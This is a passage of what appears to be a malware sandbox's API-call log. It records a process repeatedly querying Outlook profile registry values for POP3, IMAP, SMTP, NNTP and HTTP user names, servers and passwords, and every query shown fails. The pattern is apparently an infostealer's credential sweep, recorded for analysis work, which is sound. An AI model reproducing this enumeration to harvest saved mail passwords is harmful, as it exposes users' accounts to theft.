hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.333] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.333] RegCloseKey (hKey=0x71c) returned 0x0 [0096.333] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.333] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.333] RegCloseKey (hKey=0x71c) returned 0x0 [0096.333] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.333] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.333] RegCloseKey (hKey=0x71c) returned 0x0 [0096.333] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.334] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.334] RegCloseKey (hKey=0x71c) returned 0x0 [0096.334] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.334] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.334] RegCloseKey (hKey=0x71c) returned 0x0 [0096.334] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.334] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.334] RegCloseKey (hKey=0x71c) returned 0x0 [0096.334] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.334] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.334] RegCloseKey (hKey=0x71c) returned 0x0 [0096.334] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.334] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.334] RegCloseKey (hKey=0x71c) returned 0x0 [0096.334] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.334] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.334] RegCloseKey (hKey=0x71c) returned 0x0 [0096.334] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.335] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.335] RegCloseKey (hKey=0x71c) returned 0x0 [0096.335] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.335] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.335] RegCloseKey (hKey=0x71c) returned 0x0 [0096.335] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.335] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.335] RegCloseKey (hKey=0x71c) returned 0x0 [0096.335] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.335] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.335] RegCloseKey (hKey=0x71c) returned 0x0 [0096.335] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.335] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.335] RegCloseKey (hKey=0x71c) returned 0x0 [0096.335] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.335] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.335] RegCloseKey (hKey=0x71c) returned 0x0 [0096.335] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.336] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.336] RegCloseKey (hKey=0x71c) returned 0x0 [0096.336] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.336] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.336] RegCloseKey (hKey=0x71c) returned 0x0 [0096.336] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.336] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.336] RegCloseKey (hKey=0x71c) returned 0x0 [0096.336] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.336] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.336] RegCloseKey (hKey=0x71c) returned 0x0 [0096.336] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.336] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.336] RegCloseKey (hKey=0x71c) returned 0x0 [0096.336] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.336] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.336] RegCloseKey (hKey=0x71c) returned 0x0 [0096.336] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.337] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.337] RegCloseKey (hKey=0x71c) returned 0x0 [0096.337] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.337] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.337] RegCloseKey (hKey=0x71c) returned 0x0 [0096.337] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.337] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.337] RegCloseKey (hKey=0x71c) returned 0x0 [0096.337] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.337] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.337] RegCloseKey (hKey=0x71c) returned 0x0 [0096.337] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.337] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.337] RegCloseKey (hKey=0x71c) returned 0x0 [0096.337] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.337] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.337] RegCloseKey (hKey=0x71c) returned 0x0 [0096.337] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.338] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.338] RegCloseKey (hKey=0x71c) returned 0x0 [0096.338] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.338] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.338] RegCloseKey (hKey=0x71c) returned 0x0 [0096.338] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.338] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.338] RegCloseKey (hKey=0x71c) returned 0x0 [0096.338] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.338] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.338] RegCloseKey (hKey=0x71c) returned 0x0 [0096.338] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.338] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.338] RegCloseKey (hKey=0x71c) returned 0x0 [0096.338] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.338] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.338] RegCloseKey (hKey=0x71c) returned 0x0 [0096.338] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.339] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.339] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.339] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.339] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.339] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.339] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.339] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.339] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.340] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.340] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.340] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.340] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.340] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.340] RegCloseKey (hKey=0x71c) returned 0x0 [0096.340] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.340] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.341] RegCloseKey (hKey=0x71c) returned 0x0 [0096.341] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.341] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.341] RegCloseKey (hKey=0x71c) returned 0x0 [0096.341] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 